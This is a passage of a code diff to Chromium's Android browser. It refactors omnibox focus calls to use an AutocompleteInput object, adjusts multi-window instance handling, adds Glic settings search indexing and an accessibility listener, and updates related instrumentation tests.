+            instanceType |= PersistedInstanceType.REGULAR;
+        }
+        return getInstanceInfo(instanceType, /* includeDeleted= */ true);
+    }
+
+    private List<InstanceInfo> getInstanceInfo(
+            @PersistedInstanceType int persistedInstanceType, boolean includeDeleted) {
         removeInvalidInstanceData();
         List<InstanceInfo> result = new ArrayList<>();
         SparseBooleanArray visibleTasks = MultiWindowUtils.getVisibleTasks();
         for (int i : getPersistedInstanceIds(persistedInstanceType)) {
+            if (!includeDeleted && MultiInstancePersistentStore.readMarkedForDeletion(i)) {
+                continue;
+            }
             @InstanceInfo.Type int type = InstanceInfo.Type.OTHER;
             Activity a = getActivityById(i);
             int persistedTaskId = MultiInstancePersistentStore.readTaskId(i);
@@ -761,8 +774,7 @@
                             MultiInstancePersistentStore.readIncognitoTabCount(i),
                             MultiInstancePersistentStore.readIncognitoSelected(i),
                             lastAccessedTime,
-                            MultiInstancePersistentStore.readClosureTime(i),
-                            MultiInstancePersistentStore.readMarkedForDeletion(i)));
+                            MultiInstancePersistentStore.readClosureTime(i)));
         }
         return result;
     }
@@ -1398,7 +1410,6 @@
             }
         }
 
-        onMultiInstanceModeStarted();
         // If not in multi-window mode, this will be determined by shouldOpenInAdjacentWindow().
         boolean openAdjacently =
                 !mActivity.isInMultiWindowMode() && MultiWindowUtils.shouldOpenInAdjacentWindow();
@@ -1525,8 +1536,7 @@
                             MultiInstancePersistentStore.readIncognitoTabCount(instanceId),
                             MultiInstancePersistentStore.readIncognitoSelected(instanceId),
                             MultiInstancePersistentStore.readLastAccessedTime(instanceId),
-                            MultiInstancePersistentStore.readClosureTime(instanceId),
-                            !isPermanentDeletion);
+                            MultiInstancePersistentStore.readClosureTime(instanceId));
             instanceInfoList.add(instanceInfo);
         }
 
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/ntp/IncognitoNtpOmniboxAutofocusManager.java b/chrome/android/java/src/org/chromium/chrome/browser/ntp/IncognitoNtpOmniboxAutofocusManager.java
index 1429eae..e95123d 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/ntp/IncognitoNtpOmniboxAutofocusManager.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/ntp/IncognitoNtpOmniboxAutofocusManager.java
@@ -29,8 +29,7 @@
 import org.chromium.chrome.browser.tabmodel.TabModelObserver;
 import org.chromium.chrome.browser.tabmodel.TabModelSelector;
 import org.chromium.components.embedder_support.util.UrlUtilities;
-import org.chromium.components.omnibox.AutocompleteRequestType;
-import org.chromium.components.omnibox.OmniboxFocusReason;
+import org.chromium.components.omnibox.AutocompleteInput;
 import org.chromium.ui.UiUtils;
 import org.chromium.ui.accessibility.AccessibilityState;
 import org.chromium.url.GURL;
@@ -162,12 +161,7 @@
                         new GestureDetector.SimpleOnGestureListener() {
                             @Override
                             public boolean onSingleTapConfirmed(MotionEvent e) {
-                                mOmniboxStub.setUrlBarFocus(
-                                        /* shouldBeFocused= */ false,
-                                        null,
-                                        /* selectText= */ false,
-                                        OmniboxFocusReason.UNFOCUS,
-                                        AutocompleteRequestType.SEARCH);
+                                mOmniboxStub.setUrlBarFocus(null);
                                 return false;
                             }
                         });
@@ -464,12 +458,7 @@
     /** Performs the actual focus action and updates the state. */
     private void autofocus(Tab tab) {
         mIsAutofocusing = true;
-        mOmniboxStub.setUrlBarFocus(
-                /* shouldBeFocused= */ true,
-                null,
-                /* selectText= */ false,
-                OmniboxFocusReason.OMNIBOX_TAP,
-                AutocompleteRequestType.SEARCH);
+        mOmniboxStub.setUrlBarFocus(new AutocompleteInput());
 
         // Mark the tab as processed to prevent future autofocus attempts.
         markTabAsProcessed(tab);
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/ntp/NewTabPage.java b/chrome/android/java/src/org/chromium/chrome/browser/ntp/NewTabPage.java
index 27cc409..4eca175 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/ntp/NewTabPage.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/ntp/NewTabPage.java
@@ -124,6 +124,7 @@
 import org.chromium.components.embedder_support.util.UrlUtilities;
 import org.chromium.components.feature_engagement.EventConstants;
 import org.chromium.components.feature_engagement.Tracker;
+import org.chromium.components.omnibox.AutocompleteInput;
 import org.chromium.components.omnibox.AutocompleteRequestType;
 import org.chromium.components.omnibox.OmniboxFocusReason;
 import org.chromium.components.search_engines.TemplateUrlService;
@@ -435,11 +436,10 @@
                 }
 
                 mOmniboxStub.setUrlBarFocus(
-                        /* shouldBeFocused= */ true,
-                        pastedText,
-                        /* selectText= */ false,
-                        focusReason,
-                        requestType);
+                        new AutocompleteInput()
+                                .setUserText(pastedText)
+                                .setFocusReason(focusReason)
+                                .setRequestType(requestType));
             }
         }
 
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/ntp/NewTabPageLayout.java b/chrome/android/java/src/org/chromium/chrome/browser/ntp/NewTabPageLayout.java
index 91ad666..33c52774 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/ntp/NewTabPageLayout.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/ntp/NewTabPageLayout.java
@@ -564,7 +564,7 @@
     }
 
     private void onComposeplateButtonClicked(View view) {
-        if (OmniboxFeatures.sOmniboxMultimodalInput.isEnabled()
+        if (OmniboxFeatures.sRedirectComposeplateButton.getValue()
                 && !mIsTablet
                 && mIsComposeplatePolicyEnabled) {
             mManager.focusSearchBox(false, AutocompleteRequestType.AI_MODE, null);
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/settings/MainSettings.java b/chrome/android/java/src/org/chromium/chrome/browser/settings/MainSettings.java
index 05c0881..d766e49 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/settings/MainSettings.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/settings/MainSettings.java
@@ -746,9 +746,13 @@
         }
     }
 
+    private static boolean shouldShowGlicPreference() {
+        return ChromeFeatureList.sGlic.isEnabled();
+    }
+
     // TODO(crbug.com/481386779): Replace it with glic_enabling.
     private void updateGlicPreference() {
-        if (ChromeFeatureList.sGlic.isEnabled()) {
+        if (shouldShowGlicPreference()) {
             addPreferenceIfAbsent(PREF_GLIC);
         } else {
             removePreferenceIfPresent(PREF_GLIC);
@@ -1033,6 +1037,9 @@
                     if (!shouldShowDefaultBrowserSetting()) {
                         indexData.removeEntry(getUniqueId(PREF_DEFAULT_BROWSER));
                     }
+                    if (!shouldShowGlicPreference()) {
+                        indexData.removeEntry(getUniqueId(PREF_GLIC));
+                    }
                 }
             };
 }
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/settings/search/SearchIndexProviderRegistry.java b/chrome/android/java/src/org/chromium/chrome/browser/settings/search/SearchIndexProviderRegistry.java
index 52ca16e..f1c6e7c 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/settings/search/SearchIndexProviderRegistry.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/settings/search/SearchIndexProviderRegistry.java
@@ -35,6 +35,7 @@
                             .SEARCH_INDEX_DATA_PROVIDER,
                     org.chromium.chrome.browser.contextualsearch.ContextualSearchSettingsFragment
                             .SEARCH_INDEX_DATA_PROVIDER,
+                    org.chromium.chrome.browser.glic.GlicSettings.SEARCH_INDEX_DATA_PROVIDER,
                     org.chromium.chrome.browser.privacy.settings.DoNotTrackSettings
                             .SEARCH_INDEX_DATA_PROVIDER,
                     org.chromium.chrome.browser.homepage.settings.HomepageSettings
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/settings/search/SettingsSearchCoordinator.java b/chrome/android/java/src/org/chromium/chrome/browser/settings/search/SettingsSearchCoordinator.java
index 62e52300..6c422e1 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/settings/search/SettingsSearchCoordinator.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/settings/search/SettingsSearchCoordinator.java
@@ -70,6 +70,7 @@
 import org.chromium.components.browser_ui.widget.highlight.ViewHighlighter.HighlightParams;
 import org.chromium.components.browser_ui.widget.highlight.ViewHighlighter.HighlightShape;
 import org.chromium.ui.UiUtils;
+import org.chromium.ui.accessibility.AccessibilityState;
 import org.chromium.ui.modaldialog.ModalDialogManager;
 
 import java.lang.reflect.Constructor;
@@ -84,7 +85,8 @@
 
 /** The coordinator of search in Settings. TODO(jinsukkim): Build a proper MVC structure. */
 @NullMarked
-public class SettingsSearchCoordinator implements MultiColumnSettings.Observer {
+public class SettingsSearchCoordinator
+        implements MultiColumnSettings.Observer, AccessibilityState.Listener {
     private static final String TAG = "SettingsSearch";
 
     public static final String RESULT_BACKSTACK = MainSettings.RESULT_BACKSTACK;
@@ -185,6 +187,8 @@
             Profile profile,
             Callback<Integer> updateFirstVisibleTitle,
             MonotonicObservableSupplier<ModalDialogManager> modalDialogManagerSupplier) {
+        AccessibilityState.addListener(this);
+
         mActivity = activity;
         mUseMultiColumnSupplier = useMultiColumnSupplier;
         mMultiColumnSettings = multiColumnSettings;
@@ -279,6 +283,19 @@
         }
     }
 
+    @Override
+    public void onAccessibilityStateChanged(
+            AccessibilityState.State oldAccessibilityState,
+            AccessibilityState.State newAccessibilityState) {
+        if (!oldAccessibilityState.equals(newAccessibilityState)) {
+            mIndexData.setNeedsIndexing();
+            initIndex();
+            EditText queryEdit = mActivity.findViewById(R.id.search_query);
+            queryEdit.requestFocus();
+            onQueryUpdated(queryEdit.getText().toString());
+        }
+    }
+
     private void clearQueryText() {
         EditText queryEdit = mActivity.findViewById(R.id.search_query);
         if (queryEdit.getText().toString().isEmpty()) return;
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/tab/TabBrowserControlsConstraintsHelper.java b/chrome/android/java/src/org/chromium/chrome/browser/tab/TabBrowserControlsConstraintsHelper.java
index 2545c86..75728680f 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/tab/TabBrowserControlsConstraintsHelper.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/tab/TabBrowserControlsConstraintsHelper.java
@@ -6,6 +6,7 @@
 
 import static org.chromium.build.NullUtil.assumeNonNull;
 
+import org.jni_zero.JniType;
 import org.jni_zero.NativeMethods;
 
 import org.chromium.base.Callback;
@@ -31,7 +32,6 @@
     private final TabImpl mTab;
     private final Callback<@BrowserControlsState Integer> mConstraintsChangedCallback;
 
-    private long mNativeTabBrowserControlsConstraintsHelper; // Lazily initialized in |update|
     private @Nullable BrowserControlsVisibilityDelegate mVisibilityDelegate;
 
     // These OffsetTags are used in:
@@ -174,11 +174,6 @@
             mVisibilityDelegate.removeObserver(mConstraintsChangedCallback);
             mVisibilityDelegate = null;
         }
-
-        if (mNativeTabBrowserControlsConstraintsHelper != 0) {
-            TabBrowserControlsConstraintsHelperJni.get()
-                    .onDestroyed(mNativeTabBrowserControlsConstraintsHelper);
-        }
     }
 
     private void updateVisibilityDelegate() {
@@ -264,12 +259,6 @@
             mTab.willShowBrowserControls();
         }
 
-        if (mNativeTabBrowserControlsConstraintsHelper == 0) {
-            mNativeTabBrowserControlsConstraintsHelper =
-                    TabBrowserControlsConstraintsHelperJni.get()
-                            .init(TabBrowserControlsConstraintsHelper.this);
-        }
-
         BrowserControlsOffsetTagModifications offsetTagModifications =
                 new BrowserControlsOffsetTagModifications(
                         mOffsetTagsInfo.getTags(),
@@ -277,7 +266,6 @@
                         mOffsetTagsInfo.getBottomControlsAdditionalHeight());
         TabBrowserControlsConstraintsHelperJni.get()
                 .updateState(
-                        mNativeTabBrowserControlsConstraintsHelper,
                         mTab.getWebContents(),
                         constraints,
                         current,
@@ -295,13 +283,8 @@
 
     @NativeMethods
     interface Natives {
-        long init(TabBrowserControlsConstraintsHelper self);
-
-        void onDestroyed(long nativeTabBrowserControlsConstraintsHelper);
-
         void updateState(
-                long nativeTabBrowserControlsConstraintsHelper,
-                WebContents webContents,
+                @JniType("content::WebContents*") WebContents webContents,
                 int contraints,
                 int current,
                 boolean animate,
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/tabmodel/TabModelJniBridge.java b/chrome/android/java/src/org/chromium/chrome/browser/tabmodel/TabModelJniBridge.java
index a0f6ee5d9..9815d92 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/tabmodel/TabModelJniBridge.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/tabmodel/TabModelJniBridge.java
@@ -24,7 +24,6 @@
 import org.chromium.chrome.browser.app.tab_activity_glue.ReparentingTask;
 import org.chromium.chrome.browser.flags.ActivityType;
 import org.chromium.chrome.browser.flags.ChromeFeatureList;
-import org.chromium.chrome.browser.multiwindow.MultiInstanceManager;
 import org.chromium.chrome.browser.multiwindow.MultiInstanceManager.NewWindowAppSource;
 import org.chromium.chrome.browser.multiwindow.MultiInstanceManager.PersistedInstanceType;
 import org.chromium.chrome.browser.multiwindow.MultiWindowUtils;
@@ -382,7 +381,6 @@
         Tab tab = warmupManager.takeSpareTab(profile, /* initiallyHidden= */ false, launchType);
         tab.loadUrl(loadParams);
 
-        MultiInstanceManager.onMultiInstanceModeStarted();
         Intent intent =
                 MultiWindowUtils.createNewWindowIntent(
                         parentTab.getContext(),
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/tasks/ReturnToChromeUtil.java b/chrome/android/java/src/org/chromium/chrome/browser/tasks/ReturnToChromeUtil.java
index 31e9aa2f..f0b596f 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/tasks/ReturnToChromeUtil.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/tasks/ReturnToChromeUtil.java
@@ -5,11 +5,13 @@
 package org.chromium.chrome.browser.tasks;
 
 import static org.chromium.build.NullUtil.assumeNonNull;
+import static org.chromium.chrome.browser.incognito.reauth.IncognitoReauthControllerImpl.isFromUpdate;
 
 import android.content.Intent;
 import android.content.res.Resources;
 import android.graphics.Point;
 import android.os.Bundle;
+import android.os.PersistableBundle;
 import android.text.TextUtils;
 import android.text.format.DateUtils;
 
@@ -123,9 +125,12 @@
 
     /** Returns whether should show a NTP as the home surface at startup. */
     public static boolean shouldShowNtpAsHomeSurfaceAtStartup(
-            Intent intent, Bundle bundle, ChromeInactivityTracker inactivityTracker) {
+            Intent intent,
+            Bundle bundle,
+            PersistableBundle persistableBundle,
+            ChromeInactivityTracker inactivityTracker) {
         // If the current session is due to recreated, don't show a NTP homepage.
-        if (isFromRecreate(bundle)) {
+        if (isFromRecreate(bundle) || isFromUpdate(persistableBundle)) {
             return false;
         }
 
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/toolbar/ToolbarManager.java b/chrome/android/java/src/org/chromium/chrome/browser/toolbar/ToolbarManager.java
index 3848c545..a319e7e8 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/toolbar/ToolbarManager.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/toolbar/ToolbarManager.java
@@ -211,7 +211,7 @@
 import org.chromium.components.embedder_support.util.UrlUtilities;
 import org.chromium.components.feature_engagement.EventConstants;
 import org.chromium.components.feature_engagement.Tracker;
-import org.chromium.components.omnibox.AutocompleteRequestType;
+import org.chromium.components.omnibox.AutocompleteInput;
 import org.chromium.components.omnibox.OmniboxFocusReason;
 import org.chromium.components.omnibox.action.OmniboxActionDelegate;
 import org.chromium.components.page_info.PageInfoController.OpenedFromSource;
@@ -3047,11 +3047,9 @@
         mLocationBar
                 .getOmniboxStub()
                 .setUrlBarFocus(
-                        focused,
-                        text,
-                        /* selectText= */ false,
-                        reason,
-                        AutocompleteRequestType.SEARCH);
+                        focused
+                                ? new AutocompleteInput().setUserText(text).setFocusReason(reason)
+                                : null);
         if (wasFocused && focused) {
             mLocationBar.selectAll();
         }
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/ui/IncognitoRestoreAppLaunchDrawBlocker.java b/chrome/android/java/src/org/chromium/chrome/browser/ui/IncognitoRestoreAppLaunchDrawBlocker.java
index 0971657..668906bed 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/ui/IncognitoRestoreAppLaunchDrawBlocker.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/ui/IncognitoRestoreAppLaunchDrawBlocker.java
@@ -4,7 +4,7 @@
 
 package org.chromium.chrome.browser.ui;
 
-import static org.chromium.chrome.browser.incognito.reauth.IncognitoReauthControllerImpl.PREVIOUS_VERSION_CODE;
+import static org.chromium.chrome.browser.incognito.reauth.IncognitoReauthControllerImpl.isFromUpdate;
 
 import android.content.Intent;
 import android.os.Bundle;
@@ -14,7 +14,6 @@
 import org.chromium.base.CallbackController;
 import org.chromium.base.CommandLine;
 import org.chromium.base.supplier.MonotonicObservableSupplier;
-import org.chromium.build.BuildConfig;
 import org.chromium.build.annotations.NullMarked;
 import org.chromium.chrome.browser.IntentHandler;
 import org.chromium.chrome.browser.crypto.CipherFactory;
@@ -228,8 +227,7 @@
 
         // Only restore incognito state if the data was persisted for an app update.
         // TODO(crbug.com/474348773): Test more rigorously to see whether this check is needed.
-        if (BuildConfig.VERSION_CODE
-                == persistentState.getLong(PREVIOUS_VERSION_CODE, BuildConfig.VERSION_CODE)) {
+        if (!isFromUpdate(persistentState)) {
             return false;
         }
 
diff --git a/chrome/android/javatests/src/org/chromium/chrome/browser/ActivityResultTrackerIntegrationTest.java b/chrome/android/javatests/src/org/chromium/chrome/browser/ActivityResultTrackerIntegrationTest.java
index 913cc840..130bc5c 100644
--- a/chrome/android/javatests/src/org/chromium/chrome/browser/ActivityResultTrackerIntegrationTest.java
+++ b/chrome/android/javatests/src/org/chromium/chrome/browser/ActivityResultTrackerIntegrationTest.java
@@ -12,7 +12,6 @@
 import android.content.Intent;
 
 import androidx.activity.result.ActivityResult;
-import androidx.activity.result.ActivityResultCallback;
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.lifecycle.Stage;
@@ -30,7 +29,6 @@
 import org.chromium.base.test.util.CallbackHelper;
 import org.chromium.base.test.util.CommandLineFlags;
 import org.chromium.base.test.util.CriteriaHelper;
-import org.chromium.base.test.util.DisabledTest;
 import org.chromium.chrome.browser.flags.ChromeSwitches;
 import org.chromium.chrome.test.ChromeTabbedActivityTestRule;
 import org.chromium.ui.base.ActivityResultTracker;
@@ -55,17 +53,14 @@
     private Instrumentation mInstrumentation;
     private ActivityMonitor mResultActivityMonitor;
 
-    private static class ActivityResultTester {
+    private static class ActivityResultTester implements ActivityResultTracker.ResultListener {
         private final CallbackHelper mResultCallbackHelper = new CallbackHelper();
-        private final ActivityResultCallback<ActivityResult> mCallback =
-                (result) -> {
-                    mReceivedResult = result;
-                    mResultCallbackHelper.notifyCalled();
-                };
+        private final String mKey;
         private ActivityResult mReceivedResult;
 
         ActivityResultTester(ActivityResultTracker tracker, String key) {
-            tracker.register(key, mCallback);
+            mKey = key;
+            tracker.register(this);
         }
 
         void waitForCallback() throws TimeoutException {
@@ -87,6 +82,19 @@
                     expectedResultCode,
                     mReceivedResult.getResultCode());
         }
+
+        /** Implements {@link ActivityResultTracker.ResultListener} */
+        @Override
+        public void onActivityResult(ActivityResult result) {
+            mReceivedResult = result;
+            mResultCallbackHelper.notifyCalled();
+        }
+
+        /** Implements {@link ActivityResultTracker.ResultListener} */
+        @Override
+        public String getRestorationKey() {
+            return mKey;
+        }
     }
 
     @BeforeClass
@@ -113,14 +121,26 @@
     @SmallTest
     public void testStartActivity_withoutRegister() {
         Intent intent = new Intent(mBaseActivity, BlankUiTestActivity.class);
-        Assert.assertThrows(IllegalStateException.class, () -> mTracker.startActivity(KEY, intent));
+        ActivityResultTracker.ResultListener emptyListener =
+                new ActivityResultTracker.ResultListener() {
+                    @Override
+                    public void onActivityResult(ActivityResult result) {}
+
+                    @Override
+                    public String getRestorationKey() {
+                        return "";
+                    }
+                };
+
+        Assert.assertThrows(
+                IllegalStateException.class, () -> mTracker.startActivity(emptyListener, intent));
     }
 
     @Test
     @SmallTest
     public void testStartActivity_withResultOk() throws TimeoutException {
         ActivityResultTester tester = new ActivityResultTester(mTracker, KEY);
-        startResultActivity(KEY);
+        startResultActivity(tester);
         finishResultActivity(Activity.RESULT_OK);
 
         tester.waitForCallback();
@@ -131,7 +151,7 @@
     @SmallTest
     public void testStartActivity_withResultCanceled() throws TimeoutException {
         ActivityResultTester tester = new ActivityResultTester(mTracker, KEY);
-        startResultActivity(KEY);
+        startResultActivity(tester);
         finishResultActivity(Activity.RESULT_CANCELED);
 
         tester.waitForCallback();
@@ -146,7 +166,7 @@
         ActivityResultTester tester1 = new ActivityResultTester(mTracker, KEY);
         ActivityResultTester tester2 = new ActivityResultTester(mTracker, key2);
 
-        startResultActivity(KEY);
+        startResultActivity(tester1);
         finishResultActivity(Activity.RESULT_OK);
         tester1.waitForCallback();
         tester1.assertReceivedResult(Activity.RESULT_OK);
@@ -155,7 +175,7 @@
         mInstrumentation.removeMonitor(mResultActivityMonitor);
         mResultActivityMonitor =
                 mInstrumentation.addMonitor(BlankUiTestActivity.class.getName(), null, false);
-        startResultActivity(key2);
+        startResultActivity(tester2);
         finishResultActivity(Activity.RESULT_OK);
         tester2.waitForCallback();
         tester2.assertReceivedResult(Activity.RESULT_OK);
@@ -164,20 +184,43 @@
 
     @Test
     @SmallTest
-    @DisabledTest(message = "crbug.com/437039516")
-    // TODO(https://crbug.com/437039516): Find a solution for when the same component is reused
-    // multiple times in the same activity.
-    public void testRegister_throwIfKeyDuplicated() throws TimeoutException {
-        new ActivityResultTester(mTracker, KEY);
-        Assert.assertThrows(
-                IllegalStateException.class, () -> new ActivityResultTester(mTracker, KEY));
+    public void testRegister_keyDuplicated() throws TimeoutException {
+        ActivityResultTester tester1 = new ActivityResultTester(mTracker, KEY);
+        ActivityResultTester tester2 = new ActivityResultTester(mTracker, KEY);
+        startResultActivity(tester1);
+        finishResultActivity(Activity.RESULT_OK);
+
+        tester1.waitForCallback();
+        tester1.assertReceivedResult(Activity.RESULT_OK);
+        tester2.assertCallbackCallCount(0);
+    }
+
+    @Test
+    @SmallTest
+    public void testRegister_keyDuplicated_activityKilled() throws TimeoutException {
+        ActivityResultTester tester1 = new ActivityResultTester(mTracker, KEY);
+        ActivityResultTester tester2 = new ActivityResultTester(mTracker, KEY);
+        startResultActivity(tester1);
+        recreateBaseActivity();
+        finishResultActivity(Activity.RESULT_OK);
+
+        // After the activity is recreated, the old `tester`'s callback is unregistered.
+        // A new tester needs to be created to listen to the result.
+        ActivityResultTester testerAfterRecreation1 = new ActivityResultTester(mTracker, KEY);
+        ActivityResultTester testerAfterRecreation2 = new ActivityResultTester(mTracker, KEY);
+
+        tester1.assertCallbackCallCount(0);
+        tester2.assertCallbackCallCount(0);
+        testerAfterRecreation2.assertCallbackCallCount(0);
+        testerAfterRecreation1.waitForCallback();
+        testerAfterRecreation1.assertReceivedResult(Activity.RESULT_OK);
     }
 
     @Test
     @SmallTest
     public void testStartActivity_activityKilled_withResultOk() throws TimeoutException {
         ActivityResultTester tester = new ActivityResultTester(mTracker, KEY);
-        startResultActivity(KEY);
+        startResultActivity(tester);
         recreateBaseActivity();
         finishResultActivity(Activity.RESULT_OK);
 
@@ -194,7 +237,7 @@
     @SmallTest
     public void testStartActivity_activityKilled_withResultCanceled() throws TimeoutException {
         ActivityResultTester tester = new ActivityResultTester(mTracker, KEY);
-        startResultActivity(KEY);
+        startResultActivity(tester);
         recreateBaseActivity();
         finishResultActivity(Activity.RESULT_CANCELED);
         // After the activity is recreated, the old `tester`'s callback is unregistered.
@@ -212,7 +255,7 @@
         String key2 = "key2";
         ActivityResultTester tester1 = new ActivityResultTester(mTracker, KEY);
         ActivityResultTester tester2 = new ActivityResultTester(mTracker, key2);
-        startResultActivity(KEY);
+        startResultActivity(tester1);
         recreateBaseActivity();
         finishResultActivity(Activity.RESULT_OK);
 
@@ -228,12 +271,12 @@
         testerAfterRecreation1.assertReceivedResult(Activity.RESULT_OK);
     }
 
-    private void startResultActivity(String key) {
+    private void startResultActivity(ActivityResultTracker.ResultListener listener) {
         Intent intent = new Intent(mBaseActivity, BlankUiTestActivity.class);
         waitForActivityWithClass(
                 BlankUiTestActivity.class,
                 Stage.RESUMED,
-                () -> mTracker.startActivity(key, intent));
+                () -> mTracker.startActivity(listener, intent));
     }
 
     private void finishResultActivity(int resultCode) {
diff --git a/chrome/android/javatests/src/org/chromium/chrome/browser/multiwindow/MultiInstanceManagerApi31Test.java b/chrome/android/javatests/src/org/chromium/chrome/browser/multiwindow/MultiInstanceManagerApi31Test.java
index df22ba7..7f334df2 100644
--- a/chrome/android/javatests/src/org/chromium/chrome/browser/multiwindow/MultiInstanceManagerApi31Test.java
+++ b/chrome/android/javatests/src/org/chromium/chrome/browser/multiwindow/MultiInstanceManagerApi31Test.java
@@ -370,7 +370,8 @@
                         firstActivity,
                         /* instanceId= */ 1,
                         /* addIncognitoExtras= */ false,
-                        /* loadCustomUrl= */ false);
+                        /* loadCustomUrl= */ false,
+                        /* createMultipleTabs= */ false);
 
         // Check initial state of instances.
         verifyInstanceState(/* expectedActiveInstances= */ 2, /* expectedTotalInstances= */ 2);
@@ -859,7 +860,11 @@
     }
 
     private ChromeTabbedActivity createNewWindow(
-            Context context, int instanceId, boolean addIncognitoExtras, boolean loadCustomUrl) {
+            Context context,
+            int instanceId,
+            boolean addIncognitoExtras,
+            boolean loadCustomUrl,
+            boolean createMultipleTabs) {
         Intent intent =
                 MultiWindowUtils.createNewWindowIntent(
                         context,
@@ -885,12 +890,10 @@
                                 notNullValue()));
         Tab tab = ThreadUtils.runOnUiThreadBlocking(() -> activity.getActivityTab());
         if (loadCustomUrl) {
-            ChromeTabUtils.waitForTabPageLoaded(
-                    tab,
-                    UrlConstants.GOOGLE_URL,
-                    () -> {
-                        ChromeTabUtils.loadUrlOnUiThread(tab, UrlConstants.GOOGLE_URL);
-                    });
+            ChromeTabUtils.loadUrlOnUiThread(tab, UrlConstants.GOOGLE_URL);
+        }
+        if (createMultipleTabs && !addIncognitoExtras) {
+            ChromeTabUtils.newTabFromMenu(InstrumentationRegistry.getInstrumentation(), activity);
         }
         mExtraActivities.add(activity);
         return activity;
@@ -898,7 +901,12 @@
 
     private ChromeTabbedActivity createNewWindow(
             Context context, int instanceId, boolean addIncognitoExtras) {
-        return createNewWindow(context, instanceId, addIncognitoExtras, /* loadCustomUrl= */ true);
+        return createNewWindow(
+                context,
+                instanceId,
+                addIncognitoExtras,
+                /* loadCustomUrl= */ true,
+                /* createMultipleTabs= */ true);
     }
 
     private void verifyInstanceState(int expectedActiveInstances, int expectedTotalInstances) {
diff --git a/chrome/android/javatests/src/org/chromium/chrome/browser/ntp/NewTabPageTest.java b/chrome/android/javatests/src/org/chromium/chrome/browser/ntp/NewTabPageTest.java
index 7a4f422..a26b6430 100644
--- a/chrome/android/javatests/src/org/chromium/chrome/browser/ntp/NewTabPageTest.java
+++ b/chrome/android/javatests/src/org/chromium/chrome/browser/ntp/NewTabPageTest.java
@@ -102,6 +102,7 @@
 import org.chromium.components.embedder_support.util.UrlConstants;
 import org.chromium.components.omnibox.AutocompleteRequestType;
 import org.chromium.components.omnibox.OmniboxFeatureList;
+import org.chromium.components.omnibox.OmniboxFeatures;
 import org.chromium.components.policy.test.annotations.Policies;
 import org.chromium.components.search_engines.TemplateUrlService;
 import org.chromium.components.signin.test.util.TestAccounts;
@@ -291,6 +292,7 @@
     @SmallTest
     @Feature({"NewTabPage", "FeedNewTabPage"})
     @DisableIf.Build(sdk_equals = Build.VERSION_CODES.R, message = "http://crbug.com/40664848")
+    @DisableIf.Device(DeviceFormFactor.DESKTOP) // Failing on desktop http://crbug.com/40664848
     public void testFocusFakebox() {
         int initialFakeboxTop = getFakeboxTop(mNtp);
 
@@ -905,6 +907,7 @@
                         .findViewById(
                                 org.chromium.chrome.browser.composeplate.R.id.composeplate_view)
                         .findViewById(R.id.composeplate_button));
+        mOmnibox.checkFocus(false);
     }
 
     @Test
@@ -925,6 +928,25 @@
         mOmnibox.checkFocus(true);
     }
 
+    @Test
+    @SmallTest
+    @Feature({"NewTabPage"})
+    @EnableFeatures({OmniboxFeatureList.OMNIBOX_MULTIMODAL_INPUT})
+    public void testAiModeButton_fuseboxWithoutRedirect() {
+        if (mActivityTestRule.getActivity().isTablet()) return;
+
+        OmniboxFeatures.sRedirectComposeplateButton.setForTesting(false);
+        mActivityTestRule.skipWindowAndTabStateCleanup();
+
+        NewTabPageLayout ntpLayout = mNtp.getNewTabPageLayout();
+        TouchCommon.singleClickView(
+                ntpLayout
+                        .findViewById(
+                                org.chromium.chrome.browser.composeplate.R.id.composeplate_view)
+                        .findViewById(R.id.composeplate_button));
+        mOmnibox.checkFocus(false);
+    }
+
     private void verifyMostVisitedTileMargin() {
         Resources res = mActivityTestRule.getActivity().getResources();
         NewTabPageLayout ntpLayout = mNtp.getNewTabPageLayout();
diff --git a/chrome/android/javatests/src/org/chromium/chrome/browser/omnibox/LocationBarLayoutTest.java b/chrome/android/javatests/src/org/chromium/chrome/browser/omnibox/LocationBarLayoutTest.java
index 33d14d3..792ab034 100644
--- a/chrome/android/javatests/src/org/chromium/chrome/browser/omnibox/LocationBarLayoutTest.java
+++ b/chrome/android/javatests/src/org/chromium/chrome/browser/omnibox/LocationBarLayoutTest.java
@@ -46,7 +46,7 @@
 import org.chromium.chrome.test.transit.FreshCtaTransitTestRule;
 import org.chromium.chrome.test.transit.omnibox.OmniboxFacility;
 import org.chromium.chrome.test.transit.page.WebPageStation;
-import org.chromium.components.omnibox.AutocompleteRequestType;
+import org.chromium.components.omnibox.AutocompleteInput;
 import org.chromium.components.omnibox.OmniboxFocusReason;
 import org.chromium.ui.base.DeviceFormFactor;
 import org.chromium.ui.permissions.AndroidPermissionDelegate;
@@ -142,11 +142,9 @@
         ThreadUtils.runOnUiThreadBlocking(
                 () -> {
                     locationBarMediator.setUrlBarFocus(
-                            /* shouldBeFocused= */ true,
-                            SEARCH_TERMS_URL,
